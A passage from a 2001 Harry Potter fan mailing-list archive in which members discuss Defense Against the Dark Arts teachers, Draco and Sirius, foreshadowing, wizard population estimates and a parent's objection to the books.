it.  Also the dream about Prongs in the forest, before he knew what 
his Patronus was and what his father's animagus form was.

Back to the twins, and very OT - I would be more inclined to think 
that they were Seers if they had predicted the outcome of last 
night's England v. Germany game!  Now that would have been something!

Catherine




From mindyatime at juno.com  Sun Sep  2 17:45:53 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Sun, 2 Sep 2001 13:45:53 -0400
Subject: DADA Answers/Topics I dont want to see debated anymore/
Message-ID: <20010902.134609.-428615.7.mindyatime@juno.com>

No: HPFGUIDX 25380

OK, I am finally ALMOST on target, answering Thursday's questions on
Sunday... another hour or two of sitting in this wretched chair will
finally catapult me into the present.

DADA Answers:

1.  Do you think Quirrell was a good teacher until he took a year off?  

A: He seems a bit colorless and blank to me.

2.  Did Dumbledore *really* agree to the 4th years being taught about the
Unforgivable Curses? 

A: ABSOLUTELY NOT! This was Barty's strong desire. IMO, Barty's being
'imprisoned' by his father for 10 years, not allowed to practice any of
the dark curses, produced in him a mighty desire to test the Unforgivable
Curses on some unsuspecting prey, in a place where he would not be
imprisoned in Azkaban for it, namely, the school.

3.  I know we've discussed this before, but there are some newcomers,
so...why would Crouch-as-Moody teach them how to fight Imperious? 

A:  Crouch may have wanted to use the Imperius Curse on Harry to get him
to the Triwizard Cup, or for some other use, and he wanted to test it
first to see if he could withstand it. Obviously, Harry was able to fight
it so some of his plans had to be scrapped. He also wanted to test some
other students to see who could withstand Imperius. Who knows what
revolting plans he had to use this curse for.

*********

I can't believe it -- only four digests left! I am up to yesterday's
emails! Maybe I WILL get to eat breakfast today... and cook dinner... and
wash laundry.... and go the bathroom, already... and see the light of day
outside.....

TOPICS I DON'T WANT TO SEE DEBATED ON THIS LIST ANYMORE: DRACO! DRACO!
DRACO BEING EVIL/DRACO BEING REDEEMED... DRACO THIS/DRACO THAT.... IT'S
BUGGIN' ME!!!!

1:27 PM EST: 3 digests to go...
1:28 PM EST: 2 digests to go... (it only had 1 email in it)

Regarding Cedric's death: In that split-second, painless Avada Kedavra
death, was Cedric aware what was happening to him? He then lay there with
wide open, shocked eyes -- dead as dead, but did he know what was going
on? Was he privy to the entire cemetery scene? When his shadow came out
of the wand asking for his body to be returned, he obviously did seem to
know what was happening... Poor baby, my heart feels for him.

1:35 PM: JUST ONE LEFT! (I skimmed through that one...)

1:43 PM: WOW! MAZEL TOV!!!! I finished 21 digests in less than 24 hours.
and I posted too-many posts. I can bet you one thousand sickles that as I
send off this last email of the day, I will receive another digest in
return. And that will spoil my plan of breaking my fast, going outside to
watch all the vans and trucks returning from their summer Catskills
vacation... (New Yawkers will understand!) 

MY EYES ARE BURNING!

Mindy
Whos is suffering from an overdose of HP Digests, after a week of
ignoring them...Serves me right!

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From jkusalavagemd at yahoo.com  Sun Sep  2 18:07:44 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sun, 02 Sep 2001 18:07:44 -0000
Subject: Topics I dont want to see debated anymore
In-Reply-To: <20010902.134609.-428615.7.mindyatime@juno.com>
Message-ID: <9mtshg+or7k@eGroups.com>

No: HPFGUIDX 25381

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:


> 
> TOPICS I DON'T WANT TO SEE DEBATED ON THIS LIST ANYMORE: DRACO! 
DRACO!
> DRACO BEING EVIL/DRACO BEING REDEEMED... DRACO THIS/DRACO THAT.... 
IT'S
> BUGGIN' ME!!!!
> 

That is why there are subject lines before each post; just so you 
won't have to be bugged.  Why don't you skip them if they annoy you?

Haggridd




From ebonyink at hotmail.com  Sun Sep  2 19:17:36 2001
From: ebonyink at hotmail.com (Ebony)
Date: Sun, 02 Sep 2001 19:17:36 -0000
Subject: Anti-Harry Potter Video???
Message-ID: <9mu0kg+53gb@eGroups.com>

No: HPFGUIDX 25382

I received an e-mail from one of my NCTE digests and was slightly 
alarmed.  Has anyone heard of the video being referred to?

********************

Subject: Re: Re: [ncte-talk] Anti-Harry Potter video warns about 
witchcraft

Hi - Just had to jump into this conversation.  I have never had a 
parent object or ban a book before in my career and I am so adamantly 
and passionately opposed to censoring that it came as a complete 
shock to me that a parent is refusing to allow her daughter to read 
Harry Potter and the Chamber of Secrets because it teaches sorcery 
and their religion (Jehovah's Witness) does not allow it.  I asked 
her if she read the book, as it does not teach sorcery or anything 
like that.. and she said she is not allowed to.  She then said her 
daughter could read The Hobbit (like that isn't the same thing??).. 
But then my readiness to switch, or something, must have prompted her 
to investigate The Hobbit, which she said she had read and her
other children had read, blah,blah, blah,... and now I've been 
informed that she can't read that either.  Now, she's not opposed to 
the class reading it and her daughter sitting in the library for the 
duration reading books and writing "book reports,"... but that's not 
how I teach... So, I'm frustrated, upset and in search of another 
book to start off the school year (I'm think Adventures of 
Huckleberry Finn)!!  Thanks for letting me vent.

**********************************


End note--I've been in this colleague's shoes (actually, was there 
last year).  It is a VERY frustrating and infuriating thing to have 
spent a good 20+ hours preparing a full unit around a novel that the 
profession is legitimizing (the NCTE and the IRA *love* Harry Potter 
and want to add it to the recognized body of adolescent lit 
appropriate for the classroom)... and then to be unable to teach it 
because you don't want to exclude all the other kids.

Sigh.

--Ebony AKA AngieJ (who is glad she teaches high school now)




From catlady at wicca.net  Sun Sep  2 19:22:37 2001
From: catlady at wicca.net (Rita Winston)
Date: Sun, 02 Sep 2001 12:22:37 -0700
Subject: CHAT
Message-ID: <3B9286FD.6D3FDC50@wicca.net>

No: HPFGUIDX 25383

The chat room problems continue.
At this moment, most people are in the chat room attached to the egroup
HPfGU, which cannot be entered via cheetah

the yahooclubs chat room was used briefly and may be used again

Sinead cannot enter either of them, can only enter grp*g;lots of numbers
(the old egroup room) via her mac version of cheeta.

some of us are creating multiple IDs to be more places at once
------------------------------------------------------------------

          /\ /\                                          ___  ___
           + +     Mews and views                       ( @ \/ @ ) 
         >> = <<         from Rita Prince Winston        \ @  @ / 
                                                          \ () /  
                     ("`-''-/").___..--''"`-._             \  / 
                     `6_ 6  )   `-.  (     ).`-.__.`)       \/ 
                     (_Y_.)'  ._   )  `._ `. ``-..-'
                    _..`--'_..-_/ /--'_.' ,'
                   ((('   (((-(((''  ((((



From fourfuries at aol.com  Sun Sep  2 19:54:26 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Sun, 02 Sep 2001 19:54:26 -0000
Subject: DADA Answers/Topics I dont want to see debated anymore/
In-Reply-To: <20010902.134609.-428615.7.mindyatime@juno.com>
Message-ID: <9mu2pi+546s@eGroups.com>

No: HPFGUIDX 25384

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:
> > 
> TOPICS I DON'T WANT TO SEE DEBATED ON THIS LIST ANYMORE: DRACO! 
DRACO!
> DRACO BEING EVIL/DRACO BEING REDEEMED... DRACO THIS/DRACO THAT.... 
IT'S
> BUGGIN' ME!!!!
> 

Now, you knew when you posted the above that you were throwing fuel 
on an already popular thread.  What is it about the conversation that 
bothers you?  Is it the fact that there is no right answer yet?  That 
is the case for every topic we discuss that can be affected in a 
later book.

Is it that so many people get off on grand skeins about right and 
wrong, personality, redemption and the like?  Well, the opportunity 
to debate these issues is what attracted me to HP for Grownups in the 
first place.  Seems I can't quite get my 10 and 12 year old sons to 
focus on these issues for more than 15 minutes at a time, so I end up 
lecturing on the topics (and I don't even enjoy MY lectures).

Draco is that person that we would all like to be if there were no 
EternalGod/BhuddhaNature/AbsoluteTruth/Ultimate Justice to fear.  
Rich, privileged, influential, popular, witty, probably attractive 
enough, and certainly used to getting his way.  In a word, he is 
powerful, and he raises the ultimate question of human morality (as 
does Voldemort, Dumbledore, Lucius, and to a lesser extent, Fudge):

Does Power Corrupt, and if so, Does it Corrupt Absolutely?

If it does, how do we avoid corruption withou being powerles (Harry, 
Dumbledore).  If it doesn't, why in the hell shouldn't everybody 
behave badly?  That's what we in the "Draco" thread have been 
discussing.  Got an opinion?

4FR (trying to get a better understanding of people different than 
himself).




From michelleapostolides at lineone.net  Sun Sep  2 19:58:42 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Sun, 2 Sep 2001 20:58:42 +0100
Subject: [HPforGrownups] CHAT
References: <3B9286FD.6D3FDC50@wicca.net>
Message-ID: <000901c133e9$ae1fca00$db7601d5@tmeltcds>

No: HPFGUIDX 25385

can someone send me the chat room number please !

Michelle




From fourfuries at aol.com  Sun Sep  2 20:02:18 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Sun, 02 Sep 2001 20:02:18 -0000
Subject: DADA Answers/Topics I dont want to see debated anymore/
In-Reply-To: <9mu2pi+546s@eGroups.com>
Message-ID: <9mu38a+cqac@eGroups.com>

No: HPFGUIDX 25386

--- In HPforGrownups at y..., fourfuries at a... wrote:
> --- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
> wrote:
> > > 
> > TOPICS I DON'T WANT TO SEE DEBATED ON THIS LIST ANYMORE: DRACO! 
> DRACO!
> > DRACO BEING EVIL/DRACO BEING REDEEMED... DRACO THIS/DRACO 
THAT.... 
> IT'S
> > BUGGIN' ME!!!!
> > 

> Does Power Corrupt, and if so, Does it Corrupt Absolutely?

One other question.  What good is DADA instruction if you can't 
recognize a Dark Wizard when you see one?






From fourfuries at aol.com  Sun Sep  2 19:39:46 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Sun, 02 Sep 2001 19:39:46 -0000
Subject: Death in the Magical World
In-Reply-To: <20010902.111738.-428615.1.mindyatime@juno.com>
Message-ID: <9mu1u2+94c6@eGroups.com>

No: HPFGUIDX 25387

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:
> I find it rather interesting that there is no spell that can reverse
> death in the Hogwarts World. Magic should be infallible. 


I trust you are not serious!  They are wizards, not demi-gods.

All philosophy, all religion and most science begins with the attempt 
of humans to cope with the inexplicable inevitablility of death and 
dying.  In this regard, HP has added a modern folk tale to the list 
of arts that aid mankind.  Several threads have begun to close in on 
what I think is the core merit of the HP series, the celebration of 
our amazing and  increasing ability to cope with things we can not 
control.  

What a boring and meaningless series this would become if there were 
no permanent, "mortal" stakes.  Harry discovers he's a wizard on his 
birthday, and we celebrate like he won the lottery.  If he had not 
been separated from his parents by something as permanent as death, 
we would not care at all.  JKR teaches responsibility, courage, love 
and honor in the context of irreversible consequences.  It is what 
makes us care about Harry, fear Voldemort, respect Dumbledore, trust 
Hagrid, etc.  Everyone is playing for keeps.

I love these books because they are so real, and so human (except for 
the magic!).  If you replace the magic with equivalent technologies, 
you have the modern world exactly.  Our current global civilisation 
is lacking in social graces, a sense of propriety, grace, respect for 
truth, appreciation of beauty (as distinguished from sexuality), 
courage, civility, honor, and the list goes on.  Harry shows us what 
happens when a few brave people decide to fight for the preservation 
of these "antiquated" values.  His fight is engaging because the 
stakes are so high.

4FR (shaped by the experience of being an idealist who attended an 
all boys prep school with an honor code during the '60's and '70's)






From mindyatime at juno.com  Sun Sep  2 20:30:45 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Sun, 2 Sep 2001 16:30:45 -0400
Subject: Topics that bug me
Message-ID: <20010902.164746.-329733.1.mindyatime@juno.com>

No: HPFGUIDX 25388


"That is why there are subject lines before each post; just so you 
won't have to be bugged.  Why don't you skip them if they annoy you?

Haggridd"

Well, I skip over all Draco posts, indeedy! That's how I managed to read
roughly 500 emails in less than 24 hours!

Hope I didnt drive all of you crazy with me gabillion posts today.

MINDY

________________________________________________________________
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Join Juno today!  For your FREE software, visit:
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From cynthiaanncoe at home.com  Sun Sep  2 21:38:48 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 02 Sep 2001 21:38:48 -0000
Subject: Very Little Foreshadowing? (was Re: Malfoy's Redemption)
In-Reply-To: <9msd31+5qva@eGroups.com>
Message-ID: <9mu8t8+t4ie@eGroups.com>

No: HPFGUIDX 25389

--- In HPforGrownups at y..., caliburncy at y... wrote:
> 
<snip>

> Anyway, JKR uses lots of first-time foreshadowing, which is where a 
> lot of her good pacing comes from.  And she uses a little author 
> prophecy, but not much.  I have never seen a book that used much of 
> this, nor would it probably work to do so.  So that leaves second-
time 
> foreshadowing which is, of course, what I imagine you were taking 
> about in the first place (partly why I gave two examples for it, 
since 
> it is most important to our discussion--but they may not be the two 
> best examples, I almost added more, but stopped myself).  


Luke, thanks so much for that fabulous explanation.  I hadn't really 
thought about foreshadowing in those terms.

I think the reason JKR is able to fool me so easily is that she 
doesn't foreshadow the BIG PLOT TWIST nearly as much as she 
foreshadows little things.  Consider Crouch/Moody.  We get two tiny 
direct clues (that I recall) that Moody is not himself.  One is the 
bouncing ferret business.  The second is in Padfoot Returns, when Ron 
says that Dumbledore is smart, but a really clever dark wizard could 
fool him.  Everything else, IMHO, fits perfectly with the little we 
know about Moody, or seems so unrelated to Moody that it isn't 
possible to piece the facts together (e.g., Crouch searching Snape's 
office).

The timeturner was different, though.  Sure, it was easy to see 
that "something" was going on with Hermione.  But could one tell that 
she was able to re-live time, as opposed to cloning herself with 
polyjuice potion (hmmm-- I wonder what would happen if you tried 
that)?  So there was a lot of foreshadowing leading to the same 
result -- total surprise that it was a time-turner (something never 
before introduced in the book) that would be the tool needed for the 
dramatic rescue at the end.  

Another one is Cedric's death.  I saw no foreshadowing there at all. 

Cindy (who should have paid more attention in English Literature)







From cynthiaanncoe at home.com  Sun Sep  2 21:45:21 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 02 Sep 2001 21:45:21 -0000
Subject: Lost character
In-Reply-To: <9mtc16+ii6q@eGroups.com>
Message-ID: <9mu99h+95ps@eGroups.com>

No: HPFGUIDX 25390

--- In HPforGrownups at y..., becky at m... wrote:
> JKR said that she killed off the Weasley cousin and then developed 
> the Rita Skeeter character more.  She said that she needed someone 
to 
> act as a conduit for information to leave Hogwarts.  Why?  This is 
> how parents find out that Hagrid is part giant.  Molly finds out 
that 
> Hermione is breaking Harry's heart (suppossedly) and Molly finds 
out 
> that Harry is competing.  Why were these things important enough 
that 
> they had to be conveyed or am I missing something?

Well, we can only speculate.  But one idea is that JKR needs a great 
deal of information spread quickly, widely and (supposedly) 
reliably.  These things include what you mention.  But also, it is 
crucial that Fudge find out about Harry's "funny turns."  Otherwise, 
Fudge has no reason to disbelieve Harry.  Also, Sirius is getting 
information out of the papers, getting it from Ron's cousin wouldn't 
make sense.

Cindy




From aleksrothis at yahoo.co.uk  Sun Sep  2 22:03:48 2001
From: aleksrothis at yahoo.co.uk (Aleks)
Date: Sun, 02 Sep 2001 22:03:48 -0000
Subject: Mindy's Many Posts(Death, Duelling Club, 3rd Task)
In-Reply-To: <20010902.123719.-428615.4.mindyatime@juno.com>
Message-ID: <9muac4+3be1@eGroups.com>

No: HPFGUIDX 25391

Wow, you have been busy reading all these and coming up with 
questions. I'm gonna skim over a lot of what you said, but there were 
a few points I wanted to take up.

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:> I find it rather interesting that there is no spell that can 
>reverse death in the Hogwarts World. Magic should be infallible. 
>Raising people from the dead should be something that should be 
worked out by these amazing wizards. I am puzzled by this -- only 
perhaps this is so, because the plotlines would be endless and 
readers would be clamoring for every second character to be killed 
>and every third character to ressurect one of them.

Whilst this would be nice in theory, in practice it gets very 
tiresome. As I might have mentioned before (only about half-a-dozen 
times :) )I am a big X-Men fan. However, nobody ever seems to stay 
dead - either they didn't actually die, or it wasn't actually them, 
or they are immortal etc etc, many fans over the years have got 
increasingly fed up about this. Death, IMHO, is something that makes 
people reassess their lives, theirselves, it isn't something that 
should be treated lightly, as in "Oh, well, nevermind, we'll just 
cast this spell and then they'll be fine again." 

> I really don't get the entire premise of the dueling club chapter. 
Why was the entire dueling club necessary? The students are much too 
young to know proper spells and defense spells. Lockhart doesn't 
begin to know what he's doing; does he just want to show off?
> 
In my opinion, yes! Lockhart wants people to think that he's a great 
wizard, and the popularity of the club would have made him feel very 
good. As if his ego ~needed~ a boost :).

> HOWEVER, WHY ON EARTH DOES IT HAVE TO TAKE TWO FULL YEARS TO WRITE 
THE NEXT BOOK???? I don't get it. If she locks herself into her room 
for a month and subsists on take-out, and doesn't look at her 
daughter, she can finish this book by October. Why two years???? 

Have you ever attempt to write anything of that length yourself? As 
any fanfic author (or even professional author if there are any on 
this list) could tell you it takes an incredible amount of effort to 
write. Typically, even with fanfiction, it seems to take authors up 
to a month per chapter. If you put this is terms of a HP book then 
two years seems a very reasonable amount of time. From personal 
experience, I am in the process of writing a novel, whilst attending 
university full-time. It has taken me 2years (and 3complete rethinks 
of the plot) to write 10,000words. I have nothing but awe at JKR.

> 
> Did any of you ever wonder what went through the minds of all of the
> spectators of the Tournament while the cemetery drama was taking 
place? What a pity there was never a chapter describing the mayhem 
that may have gone on as Fleur and Krum were taken out and Cedric & 
Harry were not to be found, and neither was the Cup. 

Yes, this is one point where the fact that the action is seen mostly 
from Harry's POV was a problem for me. I really wanted to know what 
the 'audience' saw throughout the task and what happened back at 
Hogwarts whilst Harry was facing Voldemort. I have read a number of 
good fanfics which give some suggestions but I would like to know 
what Ron and Hermione were doing/ thinking. Perhaps they will tell 
Harry at some point during book?


>Here is a technical question on the digests themselves, rather than 
>the content. I've noticed that many of you have a 'signature line' 
with a couple of lines quoted from a particular book. Are those lines 
supposed to represent your favorite phrases, or are they an 
indication of your personality? I've never created my own signature 
>because I don't know what that signature is supposed to signify.


Finally I'll end with this question. Personally I add a sig line if I 
have a quote relevant to something I've written (as you'll see at the 
end of this post) or if I've read something I particularly liked. I 
guess that other people do the same thing.


Aleks


**************************************************************
"Just because he's dead, doesn't mean it's fatal!" 
      - Domino, X-Force #10
**************************************************************




From too_much_coffee_lady at yahoo.com  Sun Sep  2 22:07:15 2001
From: too_much_coffee_lady at yahoo.com (Tammy Z)
Date: Sun, 2 Sep 2001 15:07:15 -0700 (PDT)
Subject: [HPforGrownups] RE: Kiddy Lit. RE: Wizard Demographics
In-Reply-To: <9msc61+rv21@eGroups.com>
Message-ID: <20010902220715.91211.qmail@web13802.mail.yahoo.com>

No: HPFGUIDX 25392

Well Catlady...it's not that I am "grammar snob" but
that teaching writing correctly is important.  For YOU
to write with And or But at the beginning of a
sentence to EMPHASIZE is fine as an adult - but when
writing for children some authors use it so frequently
they couldn't possibly be trying to emphazie that
much. Adults writing and children writing are two
different apples all together.
All I am saying is that JKR is a great reading model
and writing as well...as we all know otherwise this
thread wouldn't exist.

Tammy Z (not related to Amy Z):)

--- "Catlady (Rita Prince Winston)"
<catlady at wicca.net> wrote:
> Tammy Z (Sister of Amy Z?) wrote:
> 
> > I tend to use literature for writing models and to
> see
> > sentences begun with "And" and "But" is sickening.
> 
> I protest! I start sentences with "And" and "But"
> deliberately on 
> purpose -- and I use redundancies like 'deliberately
> on purpose' to 
> indicate that my use of AND to begin a sentence
> resulted from long 
> DELIBERATION over the best way to make words serve
> my PURPOSE of 
> conveying a particular meaning, including the
> associated emotions. 
> In general, I feel about grammar snobs the way that
> Malfoys feel 
> about poor but obese Mudbloods.
> 
> Frantyck Werewoof wrote:
> 
> > I was wondering whether anyone anywhere has done a
> bit of 
> > calculation wrt wizard demographics
> 
> I often brood obsessively over how big the wizarding
> population of 
> the island of Britain (and associated isles) must be
> to be able to 
> have all the economy that we have seen: all the
> shops of Hogsmeade 
> and Diagon Alley, the broomstick manufacturors and
> the professional 
> Quidditch teams, etc.  In my opinion, the wizarding
> population MUST 
> be AT LEAST 15,000 to have all that division of
> labor, and 20 to 
> 25,000 seems more plausible. 
> 
> If the usual lifespan of wizards is 150 years
> (Dumbledore's current 
> age) then 15,000 divided by 150 is 100 kids born
> each year time seven 
> years at Hogwarts would be a student body of 700. As
> I believe that 
> Dumbledore's unusually powerful magic has made him
> live unusually 
> long even for a wizard, I think 100 is a more likely
> AVERAGE lifespan 
> which would give a student body of 1000, which is
> the number I had 
> decided on before JKR stated it. 
> 
> But I consider the island of Britain (and associated
> isles) to be 
> quite separate from the island of Ireland (and
> associated isles), 
> with Ireland having its own Ministry of Magic, own
> wizarding 
> school(s), and so on. The wizard folk cling to
> old-fashioned ways
> like (looking like) steam engines and sailing ships
> and an economy of 
> small independent sole proprietors and artisans, why
> would they 
> change perfectly good wizarding national borders
> just because of 
> Muggle political changes? It makes sense to me that
> their borders 
> would be based either on physical geography
> (separate islands = 
> separate island nations) or VERY OLD history.
> 
> 
> 
> 
> 
> 
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> 
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> 
> Attention everyone! Before posting, you must read
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From heidi.h.tandy.c92 at alumni.upenn.edu  Sun Sep  2 22:25:52 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Sun, 2 Sep 2001 18:25:52 -0400 
Subject: [HPforGrownups] Anti-Harry Potter Video???
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2B36@MIAEXCH1>

No: HPFGUIDX 25393

I believe the-leaky-cauldron.org has written on this video a bit, including
links to articles in a florida paper about it. BK, any links?

-----Original Message-----
From: Ebony <ebonyink at hotmail.com>
To: HPforGrownups at yahoogroups.com <HPforGrownups at yahoogroups.com>
Sent: Sun Sep 02 15:17:36 2001
Subject: [HPforGrownups] Anti-Harry Potter Video???

Real-To:  "Ebony" <ebonyink at hotmail.com>

I received an e-mail from one of my NCTE digests and was slightly 
alarmed.  Has anyone heard of the video being referred to?

********************

Subject: Re: Re: [ncte-talk] Anti-Harry Potter video warns about 
witchcraft

Hi - Just had to jump into this conversation.  I have never had a 
parent object or ban a book before in my career and I am so adamantly 
and passionately opposed to censoring that it came as a complete 
shock to me that a parent is refusing to allow her daughter to read 
Harry Potter and the Chamber of Secrets because it teaches sorcery 
and their religion (Jehovah's Witness) does not allow it.  I asked 
her if she read the book, as it does not teach sorcery or anything 
like that.. and she said she is not allowed to.  She then said her 
daughter could read The Hobbit (like that isn't the same thing??).. 
But then my readiness to switch, or something, must have prompted her 
to investigate The Hobbit, which she said she had read and her
other children had read, blah,blah, blah,... and now I've been 
informed that she can't read that either.  Now, she's not opposed to 
the class reading it and her daughter sitting in the library for the 
duration reading books and writing "book reports,"... but that's not 
how I teach... So, I'm frustrated, upset and in search of another 
book to start off the school year (I'm think Adventures of 
Huckleberry Finn)!!  Thanks for letting me vent.

**********************************


End note--I've been in this colleague's shoes (actually, was there 
last year).  It is a VERY frustrating and infuriating thing to have 
spent a good 20+ hours preparing a full unit around a novel that the 
profession is legitimizing (the NCTE and the IRA *love* Harry Potter 
and want to add it to the recognized body of adolescent lit 
appropriate for the classroom)... and then to be unable to teach it 
because you don't want to exclude all the other kids.

Sigh.

--Ebony AKA AngieJ (who is glad she teaches high school now)



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From cynthiaanncoe at home.com  Sun Sep  2 22:34:23 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 02 Sep 2001 22:34:23 -0000
Subject: JKR's Writing Style
Message-ID: <9muc5f+50jg@eGroups.com>

No: HPFGUIDX 25394

I think JKR's writing style has changed quite a bit over the four 
books.  Not the plot, not the characterizations.  I'm referring to 
the level of detail, amount of descriptive matter, quality of 
dialogue, etc.  I find GoF to be the most thoroughly fleshed out, and 
I find the pace of PoA to be the quickest.  PS/SS and CoS seemed 
somewhat cryptic in comparison, although PS/SS worked well for me for 
other reasons (primarily the outstanding first few chapters).  I have 
wondered whether PoA and GoF perhaps benefited from very talented 
editors (not that there's anything wrong with that).

Has anyone else noticed this, and if so, which style worked best for 
you?

Cindy

--------------
"And he went back over to Ron, feeling that this ball was a lot more 
trouble than it was worth, and hoping very much that Padma Patil's 
nose wad dead center."  GoF




From cynthiaanncoe at home.com  Sun Sep  2 22:44:58 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 02 Sep 2001 22:44:58 -0000
Subject: Dueling Club/Sirius's Appeal/Plotlines I'd like to see/Tournament
In-Reply-To: <20010902.123719.-428615.4.mindyatime@juno.com>
Message-ID: <9mucpa+91un@eGroups.com>

No: HPFGUIDX 25395

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:
> 
> How come so many of
> you listies are sooo ga-ga over Sirius? While I like his character, 
he
> comes across to me as a whispy, filthy, grimy, emaciated skeleton. 
He
> doesnt have any outer appeal; why are so many of you 'crazy' about 
him?
> 
> 

What's not to like?  In terms of characterization, Sirius has it all:

1.  Smart:  One of the cleverest at Hogwarts.
2.  Sympathetic:  Spent a dozen years locked up for something he 
didn't do.
3.  Suffering untold guilt:  He pays every day for making Peter the 
Secret Keeper, which cost his best friend his life.
4.  Honorable:  after his escape, he risks everything to make sure 
Harry is not endangered.
5.  Understanding:  Genuine attempts to fulfill the role of father 
figure for Harry.
6.  Strong:  Able to survive Azkaban and escape.
7.  Theatrical:  He knows how to make an exit (see quote below).

For me, these inner personality traits more than compensate for 
Sirius' rather scruffy personal appearance.

Cindy
-----------------
Black wheeled Buckbeak around, facing the open sky.
"We'll see each other again," he said.  "You are -- truly your 
father's son, Harry ...."  PoA




From rainy_lilac at yahoo.com  Sun Sep  2 23:00:06 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Sun, 02 Sep 2001 23:00:06 -0000
Subject: Sirius's Appeal
In-Reply-To: <9mucpa+91un@eGroups.com>
Message-ID: <9mudlm+n4am@eGroups.com>

No: HPFGUIDX 25396

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> For me, these inner personality traits more than compensate for 
> Sirius' rather scruffy personal appearance.


Cindy, this is an excellent list of Sirius's herioc qualities that so 
many of us adore, moon over, fantasize about. JKR has said (On 
record? Where?) that yes she did indeed intend Sirius to be "dead 
sexy"-- I don't think she meant his appearance, but rather those 
noble and heroic qualities that we all long for and would cross the 
world to protect.

Protect? Did I say protect? Hmmmm! I think there is something about 
Sirius (and Remus also, I think) that awakens protective, nurturing 
feelings in many female readers. He is noble and brave, but we also 
nervously wonder if he is safe. we harbor wild fantasies about 
feeding him, giving him a bath, a haircut, a safe haven....

Yep. And no matter how ghastly he sounds in JKR's physical 
description, I think many of us believe that this is just the effects 
of prison, and that everything will improve once he is in a better 
place and has had a few nice meals and some loving female attention. 
This is not just fantasy-- it has some basis in the text. He is 
described as being very handsome and laughing in his pre-Azkaban 
picture, and when he speaks to Harry through the fire, Harry notes 
that his face is fuller and that he looks much healthier, much more 
like the old Sirius.

I hope this helps!


Suzanne
12" pussy-willow with thunderbird down
Gryffindor, Class of 1982




From blpurdom at yahoo.com  Sun Sep  2 23:00:29 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 02 Sep 2001 23:00:29 -0000
Subject: Dueling Club/Sirius's Appeal/Plotlines I'd like to see/Tournament
In-Reply-To: <20010902.123719.-428615.4.mindyatime@juno.com>
Message-ID: <9mudmd+aoeo@eGroups.com>

No: HPFGUIDX 25397

--- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
wrote:
> I really don't get the entire premise of the dueling club chapter. 
Why was the entire dueling club necessary? The students are much too 
young to know proper spells and defense spells. Lockhart doesn't 
begin to know what he's doing; does he just want to show off?
 
The point of the Dueling Club was to establish that the reason why 
Harry talked to the snake in the zoo near the beginning of PS/SS was 
because he is a Parselmouth.  (JKR lets us believe for the duration 
of that book that it's possible that all magical people have this 
ability.)  The poor reputation of Parselmouths is then revealed to 
him (by Ron IIRC) and in general, this casts more suspicion on his 
possibly being the heir of Slytherin, who was also a Parselmouth.  
This also aids Hermione in figuring out later why Harry was hearing 
voices that no one else could hear (although she gets petrified 
before she can tell Harry and Ron in person and they only find out 
about the basilisk by prying the paper out of her hand).

Another purpose to the Dueling Club was to teach the students the 
disarming charm, which is important in the next book, when it is used 
by the trio on Snape in the Shrieking Shack, knocking him out.  This 
chapter also serves to further cast doubts on Lockhart's abilities.  
JKR erodes his reputation gradually as the book goes on, and this is 
just one part of that.

In addition, the tussle with Millicent Bulstrode gave Hermione the 
opportunity (she thought) to get one of Millicent's hairs for the 
Polyjuice Potion.  As we later learned, however, Millicent was 
evidently the owner of a cat who did quite a lot of shedding, which 
caused Hermione to be left out of the visit to the Slytherin common 
room.

IMHO, the Dueling Club chapter is VERY important!

--Barb





From blpurdom at yahoo.com  Sun Sep  2 23:03:59 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 02 Sep 2001 23:03:59 -0000
Subject: Is Ron a seer?
In-Reply-To: <9mtpnd+jabh@eGroups.com>
Message-ID: <9mudsv+meia@eGroups.com>

No: HPFGUIDX 25398

--- In HPforGrownups at y..., catherine at c... wrote:
> --- In HPforGrownups at y..., issybizz at h... wrote: > 
> Back to the twins, and very OT - I would be more inclined to think 
> that they were Seers if they had predicted the outcome of last 
> night's England v. Germany game!  Now that would have been 
something!
> 
 
The thing about the twins predicting that Ireland would win but Krum 
would get the Snitch was that it was so very unlikely!  Why would 
Krum WANT to catch the Snitch if it wouldn't lead to Bulgaria 
winning?  He'd want to do another Wronski Feint to lead the other 
Seeker away from it and give his Chasers a chance to score some more 
points before ending the game by catching the Snitch.  Who could have 
foreseen Krum having another compelling reason to throw the game?

--Barb





From caliburncy at yahoo.com  Sun Sep  2 23:21:56 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 02 Sep 2001 23:21:56 -0000
Subject: Very Little Foreshadowing? (was Re: Malfoy's Redemption)
In-Reply-To: <9mu8t8+t4ie@eGroups.com>
Message-ID: <9mueuk+dnd4@eGroups.com>

No: HPFGUIDX 25399

Interesting that a couple people have brought up Hermione's time 
turner.  Remember how I said in my post--perhaps 'dissertation' is 
more accurate :)--that there was so much first-time foreshadowing I 
was actually having trouble finding the one, ideal example to use?  
The example I ended up using WAS first-time foreshadowing, but a 
weaker example since it didn't have far-reaching consequences.  The 
story question was raised and answered in the span of a single 
